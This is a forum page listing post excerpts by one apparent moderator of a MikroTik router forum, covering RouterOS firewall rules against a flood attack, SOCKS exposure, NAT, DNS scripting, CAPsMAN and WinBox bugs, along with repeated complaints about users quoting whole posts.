Fri Jun 25, 2021 7:04 pm
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

Again, TO ALL : All this is perfectly useless, for a very simple reason: if the game server is hosted in his house , is impossible to distinguish between real and fake traffic , and the bandwidth is limited , ... Some "No matter" facts as a comment A. No matter where the server is located...
by BartoszP
Fri Jun 25, 2021 5:20 pm
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

Maybe these could help finding/preparing list of addresses to apply to block rules

viewtopic.php?f=9&t=166293&p=821782#p821782
viewtopic.php?f=23&t=148187&p=729368#p729368
by BartoszP
Fri Jun 25, 2021 2:46 pm
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

My way ... set your own port list and watch if it helps or not /interface list add name=WAN_LIST /interface list member add interface=ETH1 list=WAN_LIST /ip firewall raw add action=accept chain=prerouting src-address=9.9.9.9 add action=accept chain=prerouting src-address=1.1.1.1 add action=accept ch...
by BartoszP
Fri Jun 25, 2021 11:17 am
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

A. Temporary solution: In tracking do shorten the TCP session Timout to let a router close connections after e.g. 3 hours not 24.

B. Longterm solution: Call your ISP and change public IP of your router.
by BartoszP
Thu Jun 24, 2021 2:06 pm
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

....I will have tons of free time to do other work.
So let off the hook and focus on these activities. Nonobvious sense of humor is not an excuse of savoir vivre.
by BartoszP
Thu Jun 24, 2021 9:35 am
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

It takes two donkeys to dance LOL. Anav ... PLEASE ... try to avoid such comments .. they are TOTALLY UNNECESSARY direct personal attacks. I will not moderate it as I shouldn't do it being part of such abuse but they are REALLY against forum rules and netiquette and you deserve at last public warni...
by BartoszP
Thu Jun 24, 2021 12:30 am
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

I give up ... please just rethink this part of (E): ask yourself if you expect anyone to answer to your question starting with "please do not waste my valuable time if you do not read it ..."

BTW. Some readers report your post to moderation.
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by BartoszP
Thu Jun 24, 2021 12:06 am
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

I think I should say ... "The pot calling the kettle black"
by BartoszP
Wed Jun 23, 2021 11:40 pm
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

The problem is the moderator BartoszP https://forum.mikrotik.com/viewtopic.php?f=2&t=176315#p864067 for example: >>>@rextended ... please do not start unneccessary conversation.<<< I don't have to write anything because for him the problem was SOCKS and it couldn't be anything else ... (but ins...
by BartoszP
Wed Jun 23, 2021 6:39 pm
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

@anav ... No, it's not a random thought ... I faced such a problem. I share my experience and try to help. @rextended ... please do not start unneccessary conversation. Once I left SOCKS enabled and my router started to be a "trampoline" for so many open connections that I was blacklisted....
by BartoszP
Wed Jun 23, 2021 6:05 pm
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

Some use socks, some use SOCKS, some use both types but some do not use them at all.

https://letmegooglethat.com/?q=socks+protocol+port
by BartoszP
Wed Jun 23, 2021 5:30 pm
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

Check SOCKS port and close/block SOCKS to strangers ... terrible things happen when you do not care of it.
I left it opened once by mistake and please do not ask what happend :)
by BartoszP
Fri Jun 18, 2021 8:32 pm
Forum: General
Topic: My ISP ( WiLogic ) uses MikroTik Routers and without a doubt..
Replies: 25
Views: 1760

Re: My ISP ( WiLogic ) uses MikroTik Routers and without a doubt..

The clue is the word "sometimes" .. if sometimeas is not "usually" or "almost all the time" it's not a problem but if you see 20 post long discussion which consists of several levels nested quotes ... it is nosens. Please instruct newbie how to write topics and titles, ...
by BartoszP
Fri Jun 18, 2021 8:23 pm
Forum: Forwarding Protocols
Topic: Networking Education
Replies: 13
Views: 5246

Re: Networking Education

Almost giving up ... it's a dark side of being moderator.
Search for my posts and then comment instead throwing unchecked opinions.
All you need is to press THE DIFFERENT BUTTON ... but without your good will we cant work it out.
by BartoszP
Fri Jun 18, 2021 8:18 pm
Forum: General
Topic: My ISP ( WiLogic ) uses MikroTik Routers and without a doubt..
Replies: 25
Views: 1760

Re: My ISP ( WiLogic ) uses MikroTik Routers and without a doubt..

You quote the preceding posts again and again ... no hope to educate you
viewtopic.php?p=863311#p863311
by BartoszP
Fri Jun 18, 2021 8:16 pm
Forum: Forwarding Protocols
Topic: Networking Education
Replies: 13
Views: 5246

Re: Networking Education

Very "clever" ... but you know that I dodn't quote the preceding post?
You know what was the cause of my quotaion but you quoted it again ... like a kid checking how resistant to such behaviour parents are :)
by BartoszP
Fri Jun 18, 2021 7:47 pm
Forum: General
Topic: My ISP ( WiLogic ) uses MikroTik Routers and without a doubt..
Replies: 25
Views: 1760

Re: My ISP ( WiLogic ) uses MikroTik Routers and without a doubt..

Please ... be more polite ... some could get tired of your "LOLing", "ROTFLing" and other quite impolite/unpolite (choose the one you want) comments.
by BartoszP
Fri Jun 18, 2021 7:11 pm
Forum: General
Topic: Cant Open Ports
Replies: 9
Views: 719

Re: Cant Open Ports

....Okay brainiac what does that do?? No I am curious really
It does not help. Really. No matter how many spells you cast on that sentence.
by BartoszP
Fri Jun 18, 2021 6:55 pm
Forum: General
Topic: My ISP ( WiLogic ) uses MikroTik Routers and without a doubt..
Replies: 25
Views: 1760

Re: My ISP ( WiLogic ) uses MikroTik Routers and without a doubt..

Hey wilogic, So If I use your router ... Who cares? If you want manage your own router the way you want ... I do not write about yours routers avav but about routers/AP deliverd by ISPs ... just buy proper service: public IP + direct connection to the Internet. If you do not want to hassle yourself...
by BartoszP
Fri Jun 18, 2021 5:32 pm
Forum: Forwarding Protocols
Topic: Networking Education
Replies: 13
Views: 5246

Re: Networking Education

good post like it the rain wets It's a bot again? seriously no-one can set a decent anti-bot subscription methods? like one serial number and corresponding license? rextend, would you be so kind as the experienced user of this forum to use "post reply button" instead of quoting post. See ...
by BartoszP
Mon Jun 14, 2021 5:28 pm
Forum: RouterBOARD hardware
Topic: The big CCR2004 reboot thread (was 2004 hardware issues?)
Replies: 307
Views: 40688

Re: The big CCR2004 reboot thread (was 2004 hardware issues?)

@hoeser:

Could you please use "Post reply" button instead of quotting previous posts all the time.
by BartoszP
Wed Jun 09, 2021 6:31 pm
Forum: Virtualization
Topic: CHR feature requests
Replies: 76
Views: 22097

Re: CHR feature requests

Are you sure that x86 VM image works without any problems on arm architecture? No speed penalty?
by BartoszP
Wed Jun 09, 2021 10:33 am
Forum: Announcements
Topic: WinBox v3.28 released!
Replies: 36
Views: 19152

Re: WinBox v3.28 released!

Occasionally selecting any element Winbox "makes a flash" and disappears. It does not close, just goes to the background/hides itself.
by BartoszP
Tue Jun 08, 2021 5:10 pm
Forum: The Dude
Topic: Dude 6.48.3
Replies: 11
Views: 2251

Re: Dude 6.48.3

by BartoszP
Tue Jun 08, 2021 5:10 pm
Forum: The Dude
Topic: Cheapest hardware for Dude Server
Replies: 9
Views: 2372

Re: Cheapest hardware for Dude Server

CHR P1 as virtual machine?
by BartoszP
Tue Jun 08, 2021 12:40 pm
Forum: The Dude
Topic: Dude 6.48.3
Replies: 11
Views: 2251

Re: Dude 6.48.3

Asking forum users . Maybe it's trivial misconfiguration and there is no sense to open ticket.
by BartoszP
Tue Jun 08, 2021 12:23 pm
Forum: The Dude
Topic: Dude 6.48.3
Replies: 11
Views: 2251

Re: Dude 6.48.3

No matter what, the problem still exists: what is the cause of "unknown engine id"?
by BartoszP
Tue Jun 08, 2021 11:25 am
Forum: The Dude
Topic: Dude 6.48.3
Replies: 11
Views: 2251

Re: Dude 6.48.3

Why not? Does it matter?
by BartoszP
Tue Jun 08, 2021 8:26 am
Forum: General
Topic: IRC channel on freenode
Replies: 15
Views: 2142

Re: IRC channel on freenode

Please find better place to air your dirty loundry.
by BartoszP
Tue Jun 08, 2021 8:09 am
Forum: Beginner Basics
Topic: Very large amount of data on WAN being blocked by defconf firewall rule (Hex S)
Replies: 11
Views: 971

Re: Very large amount of data on WAN being blocked by defconf firewall rule (Hex S)

Welcome to the "is this router vulnerable" world. Bots are trying to break into your device.
Most of your traffic is to 7680 https://www.speedguide.net/port.php?port=7680
You have to check why this traffic comes on the WAN interface.
by BartoszP
Tue Jun 08, 2021 7:50 am
Forum: The Dude
Topic: Dude 6.48.3
Replies: 11
Views: 2251

Re: Dude 6.48.3

Of course I did. The log is from the same device monitored from one Dude server
Lines 1,2,6,7,8 are log of communiction with Dude via public interface.
Lines 3,4,5 are log of "talk" made by "local" interface = VPN connection
by BartoszP
Mon Jun 07, 2021 7:27 pm
Forum: The Dude
Topic: Dude 6.48.3
Replies: 11
Views: 2251

Dude 6.48.3

Setting The Dude 6.48.3 and same devices are not properly responding do SNMP The main problem is on the picture. Same source device, same target. Same Dude server but once it is connected via public IP 194.x.y.z and the second is vi VPN. Removing, adding ... reprobing ... same problem Server on 1100...
by BartoszP
Sat Jun 05, 2021 3:14 pm
Forum: Announcements
Topic: v6.47.10 [long-term] is released!
Replies: 150
Views: 34786

Re: v6.47.10 [long-term] is released!

for our the training classes, i always give the students the hap lite router and i always remind them *DO NOT* load bundle package as most of the packages never be used on daily used; such as routing, mpls, hotspot, ipv6...... I could agree that "mpls, hotspot, ups..." are not the "d...
by BartoszP
Fri Mar 26, 2021 10:08 am
Forum: General
Topic: Master port is back in 6.48.1?
Replies: 5
Views: 1055

Re: Master port is back in 6.48.1?

What wersion you have upgraded from?
viewtopic.php?t=130403
by BartoszP
Fri Mar 19, 2021 8:13 pm
Forum: General
Topic: Hacked or error?
Replies: 9
Views: 1364

Re: Hacked or error?

Be serious, just read viewtopic.php?f=2&t=168474
by BartoszP
Wed Feb 10, 2021 3:23 pm
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Re: Does quouting quotes of quotes in consecutive post make any sense?

It's not a matter of disk space etc. It is a matter of usability and understanding what you read and comment ... and respect for others. Sorry if anyone feels miffed but if you read a post and the next post quotes what you have read 1s ago and the next one quotes quoted posts read 2 s ago. It is not...
by BartoszP
Wed Feb 10, 2021 10:45 am
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Re: Does quouting quotes of quotes in consecutive post make any sense?

Perfect example of quotting ... additionaly it is the the example of reported discussion not related to the topic.
pinkq.PNG
by BartoszP
Wed Feb 10, 2021 10:40 am
Forum: Announcements
Topic: v6.48.1 [stable] is released!
Replies: 121
Views: 35650

Re: v6.48.1 [stable] is released!

Resize this window.
by BartoszP
Sun Feb 07, 2021 1:31 pm
Forum: General
Topic: DHCP deassigned, assigned every few minutes?!
Replies: 16
Views: 13544

Re: DHCP deassigned, assigned every few minutes?!

:local domainname "mydomain.local" :local dnsrecord [/ip dns static find where address=$leaseActIP ] :if ( $leaseBound = 0 ) do={ :if ( [ :len $dnsrecord ] > 0 ) do={ :log warning ("DNS release record for $[/ip dns static get $dnsrecord name] ( $leaseActIP )") /ip dns static rem...
by BartoszP
Sun Feb 07, 2021 12:58 pm
Forum: Beginner Basics
Topic: Need help with port openings
Replies: 5
Views: 695

Re: Need help with port openings

To talk from the inside world to the outside world you don't need to do nothing special with default rules. To let strangers talk to your internal host read this https://wiki.mikrotik.com/wiki/Manual:IP/Firewall/NAT#Destination_NAT To let to talk to your internal hosts via external addresses from lo...
by BartoszP
Wed Feb 03, 2021 9:58 pm
Forum: Announcements
Topic: v6.49beta [testing] is released!
Replies: 180
Views: 56237

Re: v6.49beta [testing] is released!

Fixes for 6.48 probably are tested with 6.49 ...
by BartoszP
Mon Feb 01, 2021 11:18 am
Forum: General
Topic: Share cable IPTV & Internet RB951G/CRS125
Replies: 26
Views: 14679

Re: Share cable IPTV & Internet RB951G/CRS125

@jgerek ... could you be so kind and please do not quote whole posts? Use "Post reply" instead of "Quote"
See link in my footer.
That is why I am asking for ... look at the screenshot .. more than 50% of your post is not worth reading
post2021.PNG
by BartoszP
Mon Feb 01, 2021 11:12 am
Forum: Announcements
Topic: v6.48 [stable] is released!
Replies: 324
Views: 82551

Re: v6.48 [stable] is released!

So far so good ... long uptimes ... the one with 12d has shorter uptime due to power outgage in an external building.
CAPSMAN running.
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by BartoszP
Sun Jan 31, 2021 10:44 am
Forum: General
Topic: Open 100 tabs at the same time
Replies: 13
Views: 1205

Re: Open 100 tabs at the same time

Close tabs one by one and check which one causes CPU hogging.

BTW ... use "Post reply" button instead of "quote" ... se link in my footer.
by BartoszP
Wed Jan 27, 2021 4:54 pm
Forum: Beginner Basics
Topic: Help to choose mikrotik router?
Replies: 2
Views: 520

Re: Help to choose mikrotik router?

OP post removed due to spam.
Topic clodes.
by BartoszP
Mon Jan 11, 2021 8:43 pm
Forum: RouterBOARD hardware
Topic: RB idea
Replies: 8
Views: 1255

Re: RB idea

A. Do not quote preceding post ... no need ... follow the link in my signature B. You connect your computer to mAP lite not with USB but with LAN ... it is the only difference from your requirement C. There is "bigger" device https://mikrotik.com/product/RBmAP2nD#fndtn-gallery if you need ...
by BartoszP
Mon Jan 11, 2021 10:13 am
Forum: General
Topic: how to set a firewall address list group
Replies: 5
Views: 708

Re: how to set a firewall address list group

There are no lists of lists.
by BartoszP
Fri Jan 08, 2021 11:15 pm
Forum: Beginner Basics
Topic: Tips to understand if router hacked [SOLVED]
Replies: 15
Views: 2127

Re: Tips to understand if router hacked [SOLVED]

37.160.0.0/12 means circa 10^6 addresses so there is a chance that it is not your router infected :-)
by BartoszP
Fri Jan 08, 2021 6:48 pm
Forum: General
Topic: NTFS support
Replies: 38
Views: 11509

Re: NTFS support

What for?
by BartoszP
Fri Jan 08, 2021 1:40 pm
Forum: General
Topic: mangle rules DB?
Replies: 4
Views: 553

Re: mangle rules DB?

Just assign them static IPs in DHCP and mark by address.
by BartoszP
Mon Jan 04, 2021 10:03 pm
Forum: Wireless Networking
Topic: Force users to swap to 5Ghz
Replies: 5
Views: 1078

Re: Force users to swap to 5Ghz

For CAPSMAN make access list which kicks off form 2.4GHz if signal is too low.
by BartoszP
Wed Dec 23, 2020 2:35 pm
Forum: Beginner Basics
Topic: HARDWARE RESET. PLEASE HELP. CANNOT FIND IP ADDRESS OF SXT-LTE6
Replies: 5
Views: 546

Re: HARDWARE RESET. PLEASE HELP.

Use Winbox to connect using MAC address not IP address.
If you see your router in the Neighbourhood then click on MAC address wich will be copied as an address to connect to.
by BartoszP
Tue Dec 22, 2020 4:56 pm
Forum: General
Topic: What is the difference between 192.168.88.1/24 and 192.168.88.0/24 address list? [SOLVED]
Replies: 35
Views: 4346

Re: What is the difference between 192.168.88.1/24 and 192.168.88.0/24 address list? [SOLVED]

The main problem/misuderstanding in this discussion is that sometimes you/we have to be flexible in terms of used vocabulary and accept slightly different meaning in different ROS' configuration areas. It is not a SOHO router and some network knowledge is expected. That is why MCNA course should be ...
by BartoszP
Sun Dec 20, 2020 11:20 am
Forum: General
Topic: What is the difference between 192.168.88.1/24 and 192.168.88.0/24 address list? [SOLVED]
Replies: 35
Views: 4346

Re: What is the difference between 192.168.88.1/24 and 192.168.88.0/24 address list? [SOLVED]

As 192.168.88.48 is the first address covered by /28 subnet mask so it is the network address. Same way 192.168.88.0 is the network address for /24 mask You can't directly use the first and the last addresses from the defined range as they are reserved for network purposes. Another example: CIDR Ran...
by BartoszP
Sat Dec 19, 2020 8:45 pm
Forum: General
Topic: What is the difference between 192.168.88.1/24 and 192.168.88.0/24 address list? [SOLVED]
Replies: 35
Views: 4346

Re: What is the difference between 192.168.88.1/24 and 192.168.88.0/24 address list? [SOLVED]

@sindy & @mkx IMHO 192.168.88.1/24 is not equal to 192.168.88.0/24. 192.168.88.1/24 could be recalulated to 192.168.0/24 in some places for our convenience by ROS when we enter it but it is just an "input sugar". 192.168.88.1/24 is the short notation of the ONE address 192.168.88.1 loc...
by BartoszP
Wed Dec 09, 2020 3:19 pm
Forum: Scripting
Topic: Block youtube,FB and games
Replies: 8
Views: 2806

Re: Block youtube,FB and games

Idea, Use iBGP for this. Install any computer which could expand ASNs of FB, Youtube etc. to current subnets. Put them into routing table and redirect to blackhole. Peer it to you router with BGP. PROS: could be done quite easy. CONS: YT and Google share resources so blocking YT could block search e...
by BartoszP
Mon Nov 16, 2020 10:24 pm
Forum: General
Topic: RB3011 acting strange. Firewall filter/NAT not working
Replies: 3
Views: 453

Re: RB3011 acting strange. Firewall filter/NAT not working

More details please. What is your condig?
by BartoszP
Mon Nov 16, 2020 10:14 pm
Forum: General
Topic: Card Payment machines do not work on 6.40 and above
Replies: 5
Views: 1005

Re: Card Payment machines do not work on 6.40 and above

Are you aware that ROS is currently > 6.47 ?
Have you checked https://mikrotik.com/download/changelogs ?
by BartoszP
Sun Nov 15, 2020 10:42 am
Forum: Scripting
Topic: Help me make this script faster
Replies: 1
Views: 456

Re: Help me make this script faster

:for i from=0 to=254 do={ :set addr value=("10.100.$x." . $i) :if (0=[pick [/ip firewall mangle print count-only where src-address=($addr)] 0]) do={ You do a lot of scans with "pick" ... 10*255 of them Just an idea ... try to substitute it with foreach loop with proper where cla...
by BartoszP
Sat Nov 14, 2020 9:41 am
Forum: RouterBOARD hardware
Topic: What difference between router and switch
Replies: 11
Views: 3087

Re: What difference between router and switch

Have you checked block diagrams? https://i.mt.lv/cdn/product_files/CRS125-24G-1S-160620160458_160658.png https://i.mt.lv/cdn/product_files/RB951Ui-2HnD_180543.png Do you need only 100Mb ports? Do you need WiFi or not? Do you need SFP port? Do not compare cars checking just engine capacity and it's p...
by BartoszP
Fri Nov 13, 2020 5:17 pm
Forum: RouterBOARD hardware
Topic: What difference between router and switch
Replies: 11
Views: 3087

Re: What difference between router and switch

Do you need 24 ports and a full rack size device?
Buy small hEX or hAP device if you have less than 5 devices to connect with Eth ports. hAp gives you WiFi as a bonus.
100 Mb they process without any troubles.
by BartoszP
Fri Nov 13, 2020 3:47 pm
Forum: General
Topic: improve p2p gaming
Replies: 5
Views: 503

Re: improve p2p gaming

...although my navigation and latency values ​​are definitely sufficient I am having some problems...
Hi,

A. What problems?
B. 4G as a medium is not the best one for gamers as a network chokes from time to time when there is a lot of traffic or 4G devices trying to get an access to BTS.
by BartoszP
Mon Nov 09, 2020 6:20 pm
Forum: Beginner Basics
Topic: Disappearing SSID
Replies: 6
Views: 859

Re: Disappearing SSID

Just asking: do you deployed the US versions of hAPs?
by BartoszP
Sun Nov 08, 2020 8:42 pm
Forum: General
Topic: Logging
Replies: 10
Views: 1080

Re: Logging

A.My router, my castle. Logging into not your own router is a crime. Even if you see open doors, you are not allowed to go into the house. B. Do not overuse "answer with quote" ... see may signature C If you open port 3389 and NAT it to the internal host ... well ... you ask for trouble an...
by BartoszP
Sun Nov 08, 2020 8:44 am
Forum: General
Topic: Logging
Replies: 10
Views: 1080

Re: Logging

Thanks for info but we all hold our breathes what next? :-)

A. Logging into someone elses's router is a crime.
B. You should report whole situation to your ISP before reporting it to the public.
C. Did you hardened your router to prevent hacking into?
D. Massive attacks are nothing special.
by BartoszP
Sun Nov 08, 2020 8:38 am
Forum: Beginner Basics
Topic: Newbie questions for setting up router [SOLVED]
Replies: 58
Views: 5915

Re: Newbie questions for setting up router [SOLVED]

Could you PLEASE read this thread before your next round of quoting quotes viewtopic.php?f=2&t=168474
by BartoszP
Thu Nov 05, 2020 9:47 am
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Re: v6.46.8 [long-term] is released!

BartoszP, being corona-isolated too long and maybe feeling a bit cranky today? Kisses and hugs to you! :) I believe you get much better attention if promote what you love instead of bashing what you hate. It's hard to make a peace not war, isn't it? :-) Do you think that asking "do it better&q...
by BartoszP
Wed Nov 04, 2020 4:02 pm
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Re: Does quouting quotes of quotes in consecutive post make any sense?

Yes,

I am a moderator who modaretes. Not a full time editor who corrects posts of senders who do not care about posts they post.
Do you teach your kids to keep their rooms tidy or you clean these rooms all the time as they do not care?
by BartoszP
Wed Nov 04, 2020 12:11 pm
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Re: Does quouting quotes of quotes in consecutive post make any sense?

Being a moderator I have more buttons available on the screen but I also use the oldfashioned silver theme which is just shorter.
Big avatars multilines spacing, white on white, mobile ready behaviour ... it's not for me.
by BartoszP
Wed Nov 04, 2020 2:44 am
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Re: Does quouting quotes of quotes in consecutive post make any sense?

Some screenshots for those who do not believe how common it is ... I searched only today active topics:
q3.PNG
q5.PNG
q6.PNG
q7.PNG
Selfquoting
q4.PNG
And the best of the best viewtopic.php?p=821778#p821778
q8.PNG
by BartoszP
Tue Nov 03, 2020 10:20 pm
Forum: Announcements
Topic: v6.46.8 [long-term] is released!
Replies: 38
Views: 17617

Re: v6.46.8 [long-term] is released!

Offtopic disscussion moved to: viewtopic.php?f=2&t=168474
by BartoszP
Tue Nov 03, 2020 9:55 pm
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Re: v6.46.8 [long-term] is released!

@Znevna: Do you want to disscuss? I'm nice. Just asking. It is only snippet of "invaluable" data as an example. Maybe a I've "zoomed" it to make a screenshot smaller? Consider that browser window frame/border "eats" many pixels, There is a OS tool bar on the screen. The...
by BartoszP
Tue Nov 03, 2020 5:44 pm
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Does quouting quotes of quotes in consecutive post make any sense?

Maybe I am too irritable but I CAN'T UNDERSTAND why quoting whole PRECEDING post is assumed to be a better answer than just sending a short comment? Why pushing "Post reply" is avoided by readers but "Reply with quote" is not? Do they think that others are unable to follow the st...
by BartoszP
Mon Oct 19, 2020 12:00 am
Forum: RouterBOARD hardware
Topic: RB1200 damaged after upgrade to 6.47 stable
Replies: 3
Views: 611

Re: RB1200 damaged after upgrade to 6.47 stable

You are brave man ... huge jump ... from 5.x up to 6.47.
Did you upgrade to the latest 5.x version?
Did you read about changes of bridges circa 6.41 version?
Why Webfig? Try Winbox to access your device with MAC.
by BartoszP
Sat Oct 10, 2020 6:32 pm
Forum: Scripting
Topic: Importing IP List from file
Replies: 55
Views: 6633

Re: Importing IP List from file

I recall this ... not perfect but it could help
viewtopic.php?f=23&t=148187&p=729368#p729368
by BartoszP
Sat Oct 10, 2020 10:09 am
Forum: Scripting
Topic: Importing IP List from file
Replies: 55
Views: 6633

Re: Importing IP List from file

You should prepare your list before import.
Read this topic: viewtopic.php?p=606832#p606832
by BartoszP
Thu Oct 08, 2020 8:58 am
Forum: RouterOS v7 BETA
Topic: v7.1beta2 [development] is released!
Replies: 387
Views: 113041

Re: v7.1beta2 [development] is released!

You are asking right ... What is the problem to press "Post reply" instead of "Quote"? It is just a different button.

If I see a quote I wonder if poster has joined some replies or just quoted whole previous post so I have to check it.
Don't you think it is unneeded waste of time?
by BartoszP
Thu Oct 08, 2020 8:43 am
Forum: RouterOS v7 BETA
Topic: v7.1beta2 [development] is released!
Replies: 387
Views: 113041

Re: v7.1beta2 [development] is released!

@mafiosa

Is it a problem to press "Post reply" button to comment preceeding post instead of quoting it as a whole just to write few words?
Do you think that people are unable to follow the thread?
by BartoszP
Sun Oct 04, 2020 9:41 am
Forum: Wireless Networking
Topic: ACCESS LIST vs CONNECT LIST
Replies: 11
Views: 5071

Re: ACCESS LIST vs CONNECT LIST

Part of my Access List for CAPSMan.
caps1.PNG
Drop connections with signal up to -74 dB and let connect with better signals.

So the logic is reject all you conections want to disable according to interface name, signal strenth, MAC address and allow then all.
by BartoszP
Sat Oct 03, 2020 10:41 pm
Forum: RouterBOARD hardware
Topic: CCR 1036-12G-EM reboot problem
Replies: 8
Views: 4852

Re: CCR 1036-12G-EM reboot problem

I know, I know ... very old topic but : RouterBOOT booter 6.46.5 CCR1036-12G-4S CPU frequency: 1200 MHz Memory size: 4096 MiB NAND size: 1024 MiB Press any key within 2 seconds to enter setup.. loading kernel..... OK setting up elf image... OK jumping to kernel code (0,0) hv_panic: corrupt hvfs: com...
by BartoszP
Wed Sep 23, 2020 8:30 am
Forum: Beginner Basics
Topic: Access web server from outside
Replies: 3
Views: 519

Re: Access web server from outside

A. You do DSTNAT to 192.168.10.8 not to 192.168.10.4.

B. To access server from LAN using WAN address you need to configure https://wiki.mikrotik.com/wiki/Hairpin_NAT
by BartoszP
Fri Sep 18, 2020 3:58 pm
Forum: Beginner Basics
Topic: Can I use single word to resolve to IP address with Static DNS?
Replies: 5
Views: 711

Re: Can I use single word to resolve to IP address with Static DNS?

Watch the difference: Microsoft Windows [Version 10.0.18363.1082] (c) 2019 Microsoft Corporation. Wszelkie prawa zastrzeżone. d:\>nslookup Default Server: router.mypreciousdomain.pl Address: 10.254.254.254 > google.com <- no dot there Server: router.mypreciousdomain.pl Address: 10.254.254.254 Non-au...
by BartoszP
Thu Sep 10, 2020 9:12 am
Forum: Beginner Basics
Topic: Set bandwidth limit on WAN [SOLVED]
Replies: 11
Views: 1286

Re: Set bandwidth limit on WAN [SOLVED]

Just multiply shown rule replacing change dst=????? parameter to the particular interface you want to limit ... that's all.
by BartoszP
Tue Sep 08, 2020 8:45 pm
Forum: Announcements
Topic: WinBox v3.27 released!
Replies: 105
Views: 33159

Re: WinBox v3.27 released!

@alibalalo:

If you go to a doctor do you say only "I'm ill" and expect proper treatment?
by BartoszP
Tue Sep 01, 2020 2:17 pm
Forum: Announcements
Topic: WinBox v3.25 released!
Replies: 68
Views: 11785

Re: WinBox v3.25 released!

Really?
I reported problem with ROS 6.44 + Winbox 3.25 therefore:

Winbox <3.25 is buggy and do not report errors but 3.25 does
or
3.25 has bugs and messes with configuration behind the scene
or
3.25 correctly reports ROS hidden problems
by BartoszP
Tue Sep 01, 2020 2:06 pm
Forum: General
Topic: Winbox 3.25 + 6.47.2
Replies: 2
Views: 553

Re: Winbox 3.25 + 6.47.2

Topic for WinBox 3.25 ... do not multiply topics.

viewtopic.php?f=21&t=165525&p=814432#p814432
by BartoszP
Tue Sep 01, 2020 1:03 pm
Forum: Announcements
Topic: WinBox v3.25 released!
Replies: 68
Views: 11785

Re: WinBox v3.25 released!

IMHO You shold fix WinBox not ROS ASAP as upgrade to ROS > 6.47 is not always possible
by BartoszP
Tue Sep 01, 2020 9:45 am
Forum: Announcements
Topic: WinBox v3.25 released!
Replies: 68
Views: 11785

Re: WinBox v3.25 released!

Observation.

WinBox 3.25 removed all CAPSMAN ACL rules following the one which held Polish diacritic letter in a comment.
This particular rule persists but is cleared.
Router was not rebooted.
by BartoszP
Tue Sep 01, 2020 9:29 am
Forum: Announcements
Topic: WinBox v3.25 released!
Replies: 68
Views: 11785

Re: WinBox v3.25 released!

I've noticed some CAPSMAN ACL rules removed when I used 3.25. Not all.
There is also autospout.rif file generated.
by BartoszP
Tue Sep 01, 2020 9:13 am
Forum: Announcements
Topic: WinBox v3.25 released!
Replies: 68
Views: 11785

Re: WinBox v3.25 released!

ROS 6.44.5 ... CAPSMA & WiFi killed with 3.25
by BartoszP
Mon Aug 31, 2020 10:29 pm
Forum: General
Topic: Best way to filter NTP port?
Replies: 16
Views: 1624

Re: Best way to filter NTP port?

In-interface in your rule means traffic from "outside" to "inside" but he wants to block/limit traffic in the opposite direction.
by BartoszP
Mon Aug 31, 2020 9:27 pm
Forum: General
Topic: Best way to filter NTP port?
Replies: 16
Views: 1624

Re: Best way to filter NTP port?

Make Philips'' addresses static, syslog their traffic and find common targets of it. They all should try to connect to same servers.
by BartoszP
Mon Aug 31, 2020 5:26 pm
Forum: Scripting
Topic: Control bandwidth via Python (or any other languages)
Replies: 6
Views: 931

Re: Control bandwidth via Python (or any other languages)

"Use your force ... and forum API keyword search for ... and you receive the result" :)
viewtopic.php?f=9&t=29073&hilit=API
by BartoszP
Mon Aug 31, 2020 5:14 pm
Forum: General
Topic: Best way to filter NTP port?
Replies: 16
Views: 1624

Re: Best way to filter NTP port?

Yes. I would say "convincing" a TV to believe that it connects to a server it wants to connect to.
by BartoszP
Mon Aug 31, 2020 3:39 pm
Forum: General
Topic: Best way to filter NTP port?
Replies: 16
Views: 1624

Re: Best way to filter NTP port?

Sa it's time to track what servers Philps's TV connects to to check if they have Internet connection and redirect all that traffic to you local resources. It's easy to make a rule which redirects NTP traffic headed to eg. ntp1.philips.com to you local resource. TV will even not know that is redirect...
by BartoszP
Mon Aug 31, 2020 10:02 am
Forum: General
Topic: Best way to filter NTP port?
Replies: 16
Views: 1624

Re: Best way to filter NTP port?

Are you sure that TVs connect to proper NTP servers? Maybe they are set by default to access nonworking servers. How users decide if TV connected to NTP or not? Are they allowed to reconfigure TVs'? Maybe you should install your own local NTP server https://wiki.mikrotik.com/wiki/Setup_local_NTP_ser...
by BartoszP
